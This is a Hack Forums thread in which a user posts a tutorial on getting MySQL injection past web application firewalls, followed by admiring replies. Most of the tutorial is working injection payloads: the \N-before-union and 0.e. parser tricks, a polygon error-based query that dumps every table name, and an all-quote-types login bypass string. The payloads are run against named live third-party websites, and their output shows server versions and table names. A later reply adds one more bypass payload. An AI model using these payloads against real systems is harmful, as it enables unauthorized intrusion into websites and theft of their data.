

Forum:[Hack Forums](#)

Thread: [\[Paper\] MySQL new waf bypass methods, DIOS and ABIOS \[/Tutorial\]](#)

benzi - March 4, 2015, 3:27 pm

sup.

in the recent days, i get a lot of waf bypass requests, which the regular methods (/* , #\n , url-encoding etc) dont work on them.

so today i will write about some new methods to handle these kinda sites, and some other new stuff.

this time there will be no pics in this paper, only text.

TOC

- waf bypass (\N , e , {})
- DIOS in non-geometric error based
- ABIOS

waf bypass

up to now, if we saw error like "403 forbidden", we didnt take it much seriously.

we just used one of the known bypass methods, and owned the website.

but recently, the wafs are getting smarter and harder. but so do i ?

we will use this site for demonstrate-Code http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=78

i counted the columns using group by, and there are 16.

so our query looks like that-

Code http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=-16 union select

1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16

"Not Acceptable! This error was generated by Mod_Security."

seems like mod_security is on.

how can we bypass modsecurity? usually /*!50000union*/ and distinct are doing the trick.

Code http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=-16 /*!50000union*/ distinct select

1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- -

no more mod_security, but now we got another waf.

thats the first trick i wanna show you today.

as we can see, 'union' is being blocked.

but how strongly?

lets do some tests.

Code http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=16 union403, union gets block.

so maybe the 'e' trick will do?

Code http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=16e0union403, still blocked.

Code http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=aunionno 403, union not blocked.

but how can we stick a letter to union, and not get 1064?

we can so that by use \N.

\N is case sensitive for NULL.

lets try-

Code http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select

1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--bypassed, column #10 on the screen.

lets try to get the version.

Code http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select

1,2,3,4,5,6,7,8,9,version(),11,12,13,14,15,16--403 again.

seems like we cant directly put version() in the column.

thats the second trick i wanna show you.

usually, we would do something like (version()), but seems its also covered here.

in mysql, theres something called "timestamp".

basically, its defines the type of the string, like-

Code `SELECT TIMESTAMP 'str';`

the cool thing about it, its we can write it like that-

Code `SELECT { ts column};`

so we can use that to bypass wafs, like that-

Code `http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,{f version()},11,12,13,14,15,16--boom, 5.5.40-36.1 .`

another thing i want to talk about today, is getting tables.

so lets try to get tables.Code `http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from--403, waf blocks from.`

lets try to stick a number to it.

Code `http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16from--no waf.`

usually to stick a number to "from", we use 'e'. its forbbiden here, but theres another method.

we can simply put dot before the number, and write anything after without space.

its like 0.16 .

so in our injection-

Code `http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,.16from sometable--no waf.`

now when we srite "from information_schema.tables", we get modsecurity error.

remember the timestamp thing? we can also do that with tables, so-

Code `http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,.16from {f information_schema.tables}--modsecurity - bypassed. 403 - not yet.`

as we can see, the combination of "schema.tables" is blocked. the usual ``+,() not working, so we gotta think outside the box.

we can mess with the query parser using 'e' again.

when the webserver parsing the query, it use db.table.column format.

in sql, information_schema 9.e.tables = information_schema.tables.

so-

Code `http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,.16from {f information_schema 0.e.tables}--now for the table_name part.`

as before, we cant just write the column instead of column #10, so we gotta be creative.

just like information_schema bypass, we can also use 'e' to mess with the parser with the columns.

in columns, it goes like that-

``0.e.table_name = table_name, so-

Code `http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,``0.e.table_name,11,12,13,14,15,.16from {f information_schema 0.e.tables}--bypassed.`

DIOS in non-geometric error based

something i also saw recently, is people trying to make dios in polygon.

the problem of doing that, is unlike union, polygon is limited by the result , so we gotta "be cheap" to save space.

even though the result is limited, its still larger than other error based outputs.

the original dios query is this-

Code (select (@) from (select(@:=0x00),(select (@) from (information_schema.tables) where (table_schema>=@)and (table_schema<>0x696e666f726d61746966e5f736368656d61)and (@)in (@:=concat(@,0x0a,table_name))))x)p.s i remember when denjacker showed me that 3 years ago, i was absolutley amazed to see how far people can get, only by use a simple variable.

lets go back to the tut.

we will use this site to demonstrate-

Code <http://www.thepernodship.co.uk/users/view.php?id=1>

lets check if we can use polygon.

Code

[http://www.thepernodship.co.uk/users/view.php?id=polygon\(\(select*from\(select*from\(select@@version\)k\)p\)\)](http://www.thepernodship.co.uk/users/view.php?id=polygon((select*from(select*from(select@@version)k)p)))Qusers - Error #1367: Illegal non geometric '(select `p`.`@@version` from (select '5.1.73-log' AS `@@version` from (select @@version AS `@@version`) `k`) `p`)' value found during parsing

yes, we can.

but as we can see, the output is very large, our dios will never fit in.

the red part is the alias, which take a lot of space.

lets try to save space, by give @@version a shorter alias, like 'a'.

Code

[http://www.thepernodship.co.uk/users/view.php?id=polygon\(\(select*from\(select*from\(select@@version a\)k\)p\)\)](http://www.thepernodship.co.uk/users/view.php?id=polygon((select*from(select*from(select@@version a)k)p)))Qusers - Error #1367: Illegal non geometric '(select `p`.`a` from (select '5.1.73-log' AS `a` from (select a AS `a`) `k`) `p`)' value found during parsing

shorter indeed.

but can we reduce more?

lets try give @@version an empty alias.

Code

[http://www.thepernodship.co.uk/users/view.php?id=polygon\(\(select*from\(select*from\(select@@version ``\)k\)p\)\)](http://www.thepernodship.co.uk/users/view.php?id=polygon((select*from(select*from(select@@version ``)k)p)))Qusers - Error #1367: Illegal non geometric '(select `` from (select '5.1.73-log' AS `` from (select AS ``) `k`) `p`)' value found during parsing

thats more like it.

now lets try to put the dios syntax in our query.

Code [http://www.thepernodship.co.uk/users/view.php?id=polygon\(\(select*from\(select*from\(\(select \(@\) from \(select\(@:=0x00\),\(select \(@\) from \(information_schema.tables\) where \(table_schema>=@\)and \(table_schema<>0x696e666f726d61746966e5f736368656d61\)and \(@\)in \(@:=concat\(@,0x0a,table_name\)\)\)\)x\)\)k\)p\)\)](http://www.thepernodship.co.uk/users/view.php?id=polygon((select*from(select*from((select (@) from (select(@:=0x00),(select (@) from (information_schema.tables) where (table_schema>=@)and (table_schema<>0x696e666f726d61746966e5f736368656d61)and (@)in (@:=concat(@,0x0a,table_name))))x))k)p)))Qusers - Error #1367: Illegal non geometric '(select `p`.`(@)` from (select " value found during parsing

blank output.

the 0x00 gets convert to real null byte, which "delete" our output.

lets replace it by 0x01.

Code [http://www.thepernodship.co.uk/users/view.php?id=polygon\(\(select*from\(select*from\(\(select \(@\) from \(select\(@:=0\),\(select \(@\) from \(information_schema.tables\) where \(table_schema>=@\)and \(table_schema<>0x696e666f726d61746966e5f736368656d61\)and \(@\)in \(@:=concat\(@,0x203a20,table_name\)\)\)\)x\)\)k\)p\)\)](http://www.thepernodship.co.uk/users/view.php?id=polygon((select*from(select*from((select (@) from (select(@:=0),(select (@) from (information_schema.tables) where (table_schema>=@)and (table_schema<>0x696e666f726d61746966e5f736368656d61)and (@)in (@:=concat(@,0x203a20,table_name))))x))k)p)))Qusers - Error #1367: Illegal non geometric '(select `p`.`(@)` from (select ' : blacklist : log_login : pernodmajorwinners : pernodmanagement : pernodmatches : pernodmessages : pernodnews : pernodpolls : pernodtopics : pernoduser' AS `(' value found during parsing

lets get rid off the unnecessary things, and as before, give our output an empty alias-

Code

@'from(select@:=0x01,(select@ from information_schema.tables where table_schema='information_schema'and@:=concat(@,0x203a20,table_name)))p)))f)x))Qusers - Error #1367: Illegal non geometric '(select `` from (select ' : blacklist : log\_login : pernodmajorwinners : pernodmanagement : pernodmatches : pernodmessages : pernodnews : pernodpolls : pernodtopics : pernoduser' AS `` from (' value found during parsing and we got DIOS for non-geometric error based.

Auth Bypass In One Shot

sometimes we need to bypass some admin panels, and we do that using or 1=1.
the problem is we dont know if we gotta use integer, one-quote string or double-quote string.
but is it really matter?
lets check this query-Code or 1-- '-' or 1 or '1'or 1 or"lets check any term of the above.
if its integer, the url behind the query + our injection is like that-

```
SELECT FROM login WHERE id=1 or 1-- '-' or 1 or '1'or 1 or" AND username=" AND password="
```

the "or 1-- -" gets active, make the condition true and ignores the rest of the query.
now lets check regular string-
SELECT FROM login WHERE username=' or 1-- '-' or 1 or '1'or 1 or" '

the "or 1" part make the query true, and the other parts are considered as the comparison strings.
same with the double quotes.
SELECT * FROM login WHERE username=" or 1-- '-' or 1 or '1'or 1 or" "

wafs will always get tricky, the sqli section will continue to grow, and the human brain will provide more and more with less and less.
thats my conclusion.

hope you learned something. ?

themastersinner - March 4, 2015, 3:45 pm

I love your tutorials/papers, I always learn something new!

?

benzi - March 4, 2015, 3:48 pm

thank you.

if you wanna learn something new, you know who you should pm to ;)

r0ml4h - March 4, 2015, 7:13 pm

awesome tut, learn something new to day
thanks mr. ben ?

Quote:wafs will always get tricky, the sqli section will continue to grow, and the human brain will provide more and more with less and less.
thats my conclusion
btw nice words ?

Aakash Choudhary - March 4, 2015, 7:27 pm

Wow. Its great as usual always master Benji sir. I always learn new from you. Its a very nice tutorial.
Thanks sir._^_ ?

syrian thunder - March 5, 2015, 2:32 am

Thanks for sharing such TUT benzi .. learned something new today from the master .. we should always learn something new every day :)

King glad for u master :D

xx 0x0 xx - March 5, 2015, 3:01 am

omg always you come with an original and very Detailed HQ tutorials this is the real meaning of hacking

ur the best keep going brother :)

Viktory - March 5, 2015, 4:47 am

Amazing tutorial as always! Never heard of these methods before, I certainly learned something new. Bookmarked.

Thanks a lot for writing this out!

BaboonZ - March 5, 2015, 5:27 am

Hello Benji,

Would you read my topic in this section and PM me your Skype if you would be able to help me out?

I have to low post count and therfor I c annot send you a pm yet.

sweetoow - March 5, 2015, 5:30 am

The tuts you make are always top class.. very educational... n always something new..

Thanks for sharing knowledge..

benzi - March 5, 2015, 5:31 am

(Mar 5, 2015 06:27 AM)BaboonZ Wrote: [\[CITE\]](#) Hello Benji,

Would you read my topic in this section and PM me your Skype if you would be able to help me out?

I have to low post count and therfor I c annot send you a pm yet.

contact me in my email, i'll be glad you help.

123hashtag000@gmail.com

kalampolo - March 5, 2015, 6:10 am

Wo0o0h ...

Nice TuT .. Creative TuT ../

I LEarn Some Thing ..

I dont Know we can use \N FOr bypass Union ?

Tnx Dude ...

We W8 For More TuT From You ../

=====

We can Use When "FROM" Is very hard Filtered

>>--> With "\N"

we Can Use Instead OF last Vuln Column and Good Work ..

?

Code %2C\\Nfrom(%2F*!50000information_schema*%2F.tables)

Tnx For Mr Benzi ... ?

Frosteh - March 5, 2015, 7:38 am

Many thanks for the info, it's much appreciated!

JaNuS18 - March 5, 2015, 10:42 am

Kudos benzi for HQ tutorial ? ?

Ooze - March 5, 2015, 7:51 pm

I was literally just about to post asking for help when I saw this, thanks for posting it helped!

benzi - March 6, 2015, 6:13 am

thanks all, glad that you like that.

hacker625 - March 6, 2015, 8:17 am

Nice Paper i bookmarked and save as pdf. Thanks for sharing nice waf new bypass method. benzi

How bout using your brain - March 6, 2015, 4:34 pm

awesome tutorial benzi, thanks! Those are great WAF bypasses, some I have not seen before. Being able to concat a letter to UNION is really helpful and the trick with splitting informatoiin_schema and tables is really cool haha

I wonder if there is actually any legitimate use for 0.e.tables or is it just a mysql bug?

-Acid - March 7, 2015, 1:30 am

Wow....Awesome Dude,,,
Thanks for this :)

Palash Motghare - March 7, 2015, 8:48 am

This tutorial of yours is best... Thankz a lot it helped me..

Sahaj - March 7, 2015, 8:49 am

Thanks a lot for sharing! Searching for a website to try this on! ?

iHacker-n00b - March 7, 2015, 1:43 pm

Awesome!!! Bro :D , always something(a lot actually) new from you, so looks like this was your research you told about

Naww - March 7, 2015, 5:38 pm

Wow thnx for this man :D

Again thnx for all the help and ur contribution :D

Palash Motghare - March 7, 2015, 6:23 pm

The post is really really big and off-course good..

Got lots of new things

BaboonZ - March 9, 2015, 10:17 am

(Mar 5, 2015 06:31 AM)benzi Wrote: [\[CITE\]](#) contact me in my email, i'll be glad you help.

123hashtag000@gmail.com

I did e-mail you.

My mail is hacker@hotmail.se

thawwatty - March 10, 2015, 8:47 am

Amazing tutorials.Thanks bro nice sharing...:-)

-refresh- - March 10, 2015, 9:10 am

Thanks for this Tutorial:)

-zERaIT - March 10, 2015, 12:50 pm

Great tutorials as always, thank you.

benzi - March 14, 2015, 10:04 am

(Mar 6, 2015 05:34 PM)SirRootALot is awesome. Wrote: [\[CITE\]](#) awesome tutorial benzi, thanks! Those are great WAF bypasses, some I have not seen before. Being able to concat a letter to UNION is really helpful and the trick with splitting informatiin_schema and tables is really cool haha I wonder if there is actually any legitimate use for 0.e.tables or is it just a mysql bug? i didnt see any use for that anywhere. in fact, if you ask a SQL programmer whats that mean, he will tell you thats invalid syntax.

Th3PonyWizard - March 16, 2015, 2:31 pm

I remember hitting 2011 and seeing your MSAccess tuts. Years pass, some things don't change. I'll tell you to keep it up but we both know you will :)

c3970r - March 17, 2015, 12:34 am

The best article for WAF bypassing i have seen so far. Thanks for sharing the huge knowledge sir :)

Anion - March 17, 2015, 6:08 am

Excellent information, I haven't kept on track with the SQL injection for a while, a new polygon method I see.

indi123 - March 18, 2015, 3:26 am

Excellent paper by Benji master. He is really pro. :)

krankenstein - March 29, 2015, 12:20 pm

???.???.???

???.???.???

AWESOME.....

? ??s†??ß?? ? - March 29, 2015, 1:06 pm

Brilliant paper mate, bookmarked. ?

Marth Jee - March 29, 2015, 11:32 pm

akheer h pai and one thing i wanna say that all other people who wanna being called the leets dont share what and how they learnt , just they want fuckin fake publicity , got appreciated by u , and cant stay calm without saying that #benzi u r show that after learning something limits the knowledge just before ur approach is not leetness , sharing with others is make a leet sense .

denjacker - March 30, 2015, 12:59 am

Excellent work benzi !

I've read your paper and it's awesome ..

Just wanted to say " Hi !" & keep it up :)

benzi - March 30, 2015, 1:38 am

(Mar 30, 2015 12:59 AM)denjacker Wrote: [\[CITE\]](#) Excellent work benzi !
I've read your paper and it's awesome ..
Just wanted to say " Hi !" & keep it up :)
always nice to see people from the past.

NIIGHT HAWKE - March 30, 2015, 10:26 am

Nice tutorial, learned something new. Thank you very much.

benzi - March 30, 2015, 11:34 am

thanks, glad that you like that.

Gee4rce - May 5, 2015, 5:41 pm

Damn... very HQ Tutorial - by far one of the best i have seen from you so far :0
Always nice to see you around here, keep it up mate, you're a big contribution to the WAFH community!
Greetings, good old Gee :)

CodeNinja1 - May 5, 2015, 7:05 pm

Very nice HQ Tutorial sir. You always rocks ?

nepHaXOr - May 5, 2015, 7:07 pm

Just Bookmarked it Will see this later :)

SiStemiC - May 6, 2015, 9:07 am

That's really interesting...

strauss_j - May 6, 2015, 9:26 am

great tutorial
?

benzi - May 6, 2015, 10:43 am

thanks all.

a lot of people asking me about the e method, so i will explain it more detailed.
i'll use this site-

Code http://www.modeltrainsindia.com/view_product.php?id=11 and 0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16

usually when we're trying to get tables, we do it like that-

Code http://www.modeltrainsindia.com/view_product.php?id=11 and 0 union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from information_schema.tables
in mysql, there is a concept of db.table.column, which means in our case-

Code http://www.modeltrainsindia.com/view_product.php?id=11 and 0 union select 1,information_schema.tables.table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from information_schema.tables
information_schema = db

tables = table

table_name = column.

when we write "table_name", the server sees it as "information_schema.tables.table_name".
so if we will write ``.``.column, its like "no-db.no-table.column", which is error.

but because we used "FROM", the query will be executed normally.

Code http://www.modeltrainsindia.com/view_product.php?id=11 and 0 union select 1,``.``.table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from information_schema.tables
in mysql theres a bug, that number-dot-e-dot gets converted to just dot.

123.e. = .

SO-

Code http://www.modeltrainsindia.com/view_product.php?id=11 and 0 union select 1,``123.e.``123.e.table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from information_schema 123.e.tables

Alikhan - May 8, 2015, 5:54 am

Like Your Articel Well Nice Sharing New For Me

The_Defiant_One - May 9, 2015, 7:12 am

Really stuff here. Thanks for sharing.

Homunculus - May 9, 2015, 2:55 pm

very interesting worth to take a look

ovrd - May 9, 2015, 6:32 pm

that was actually decent :) good job

Alikhan - May 12, 2015, 11:46 pm

Nice Well Sharing I Like IT ...Thank YOu For Usefull SHaring

TheCasanova - May 13, 2015, 6:11 am

thanx a lot Sir,

article is wonderful.. jux no words to describe its Osumness..

+ you gave me a new direction to think ...

qusai.alhaddad - May 13, 2015, 6:54 am

Thanks for sharing this , keep it up

Jatin Gupta - July 6, 2015, 10:36 am

its like the hand-on-practise session goin'g on....well explained

SChronize04 - September 14, 2015, 5:57 am

how to print all Like version,user and table ?

c00perzz - September 15, 2015, 10:14 am

Amazing. Bonzi is one of the very few users that trully knows his thing and most importantly he shares his knowledge.

Thumbs up my friend!

InjectorBoy - August 15, 2016, 1:08 pm

nice work from my master learned something new

ryxzen - September 5, 2016, 10:15 am

Thanks mate, this is different from the others.

g3tr3k7 - September 8, 2016, 8:16 pm

pretty cool tut thx bro ,.fd

ballack_perllo - September 10, 2016, 3:43 am

Thanks for sharing such TUT benzi

fox30 - September 11, 2016, 9:18 am

really good master benzi?
always learn new things?

milller88 - September 20, 2016, 4:02 pm

+1

devilhunter_dante25 - December 18, 2016, 4:15 am

Hi Benzi,

Do you Still use that email "123hashtag000@gmail.com" ? i can't PM you in HF

So i mailed ya there . Hope to see you respond !?

Thanks & regards

Korollo Lucifer

Assaf - December 19, 2016, 1:00 pm

That tutorial is very helpful in my opinion either for beginners and more advanced members.
To be honest it actually helped me a little bit.